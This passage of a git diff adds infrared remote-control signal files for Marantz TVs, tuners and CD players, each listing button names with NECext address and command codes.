b/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/144,0.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/24,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/24,-1.ir new file mode 100644 index 000000000..c3e32a84b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/24,-1.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 03 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 08 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 09 00 00 00 +# +name: INPUT:_VIDEO +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0A 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0F 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1D 00 00 00 +# +name: OF-T +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1E 00 00 00 +# +name: OFF_TIME +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1E 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 55 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 56 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 57 00 00 00 +# +name: INPUT:_PC +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/24,24.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/24,24.ir new file mode 100644 index 000000000..f2ac1244f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/24,24.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT:_DVD +type: parsed +protocol: NECext +address: 18 18 00 00 +command: 1C 00 00 00 +# +name: HD_3 +type: parsed +protocol: NECext +address: 18 18 00 00 +command: 40 00 00 00 +# +name: PIC_MEMORY +type: parsed +protocol: NECext +address: 18 18 00 00 +command: 41 00 00 00 +# +name: CONTRAST +type: parsed +protocol: NECext +address: 18 18 00 00 +command: 42 00 00 00 +# +name: BRIGHT +type: parsed +protocol: NECext +address: 18 18 00 00 +command: 43 00 00 00 +# +name: PIC_MODE +type: parsed +protocol: NECext +address: 18 18 00 00 +command: 44 00 00 00 +# +name: COLOR_TEMP +type: parsed +protocol: NECext +address: 18 18 00 00 +command: 45 00 00 00 +# +name: MODE:_WIDE +type: parsed +protocol: NECext +address: 18 18 00 00 +command: AD 00 00 00 +# +name: WIDE +type: parsed +protocol: NECext +address: 18 18 00 00 +command: AD 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B0 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B1 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B2 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B3 00 00 00 +# +name: CURSON_RIGHT +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B3 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B4 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B5 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C0 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C4 00 00 00 +# +name: ZOOM_+ +type: parsed +protocol: NECext +address: 18 18 00 00 +command: CA 00 00 00 +# +name: ZOOM_- +type: parsed +protocol: NECext +address: 18 18 00 00 +command: CB 00 00 00 +# +name: HD_2 +type: parsed +protocol: NECext +address: 18 18 00 00 +command: DC 00 00 00 +# +name: HD_1 +type: parsed +protocol: NECext +address: 18 18 00 00 +command: EB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/24,247.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/24,247.ir new file mode 100644 index 000000000..38ca22d0b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/24,247.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 08 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/80,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/80,-1.ir new file mode 100644 index 000000000..1a7503218 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/80,-1.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0B 00 00 00 +# +name: RECAL +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: INPUT:_RGB_2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 13 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 17 00 00 00 +# +name: INPUT:_VIDEO_1 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 21 00 00 00 +# +name: INPUT:_VIDEO_2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 22 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 3E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 3F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 53 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 70 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 71 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 72 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 73 00 00 00 +# +name: INPUT:_RGB_1 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: A1 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir new file mode 100644 index 000000000..dc78ab5b5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: FREQ._DIRECT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: TUNING_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: TUNING_DOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: STEREO/MONO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: PRESET_SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2B 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2D 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2E 00 00 00 +# +name: LW +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2F 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3A 00 00 00 +# +name: PRESET_INFO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 52 00 00 00 +# +name: PTY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 78 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner/16,-1.ir new file mode 100644 index 000000000..a33517d22 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner/16,-1.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: BASS_++ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 16 00 00 00 +# +name: BASS-- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 17 00 00 00 +# +name: TREB_++ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 18 00 00 00 +# +name: TREB-- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 19 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 26 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner/17,-1.ir new file mode 100644 index 000000000..84a4050da --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner/17,-1.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0A 00 00 00 +# +name: 0_OR_10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0A 00 00 00 +# +name: FREQ._DIRECT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0B 00 00 00 +# +name: FREQ_DIRECT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0B 00 00 00 +# +name: F.DIRECT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0B 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0C 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0C 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: DISPLAY_MODE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: MEM._GROUP_NEXT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1C 00 00 00 +# +name: TUNING_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: TUNING_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: FREQUENCY_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: TUNING_DOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: TUNING_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: FREQUENCY_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: PRESET_++ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: PRESET_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: PRESET_-- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: PRESET_DOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: STEREO/MONO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: FM_MODE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: TUNE_MODE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: IF_BAND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: PRESET_SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2B 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2D 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2E 00 00 00 +# +name: LW +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2F 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3A 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 47 00 00 00 +# +name: PRESET_INFO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 52 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 52 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 57 00 00 00 +# +name: PTY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 78 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner/20,-1.ir new file mode 100644 index 000000000..6fe80499f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner/20,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: CD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir new file mode 100644 index 000000000..690b92816 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 29 00 00 00 +# +name: AMS +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 31 00 00 00 +# +name: BWD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3B 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 47 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 68 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir new file mode 100644 index 000000000..161daf85b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: SKIP-FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: SKIP-BACK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 22 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 28 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 29 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3A 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: TRAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 42 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 45 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: KEY_3-D +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 52 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 78 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 85 00 00 00 +# +name: T/C +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C8 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D1 00 00 00 +# +name: L-PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D7 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir new file mode 100644 index 000000000..3a28893bd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0A 00 00 00 +# +name: LAP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: REVIEW +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0F 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 29 00 00 00 +# +name: AMS +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: SEARCH- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: SEARCH+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir new file mode 100644 index 000000000..95eb92ef5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: FTS +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: DisplayMode +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: Index+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 22 00 00 00 +# +name: 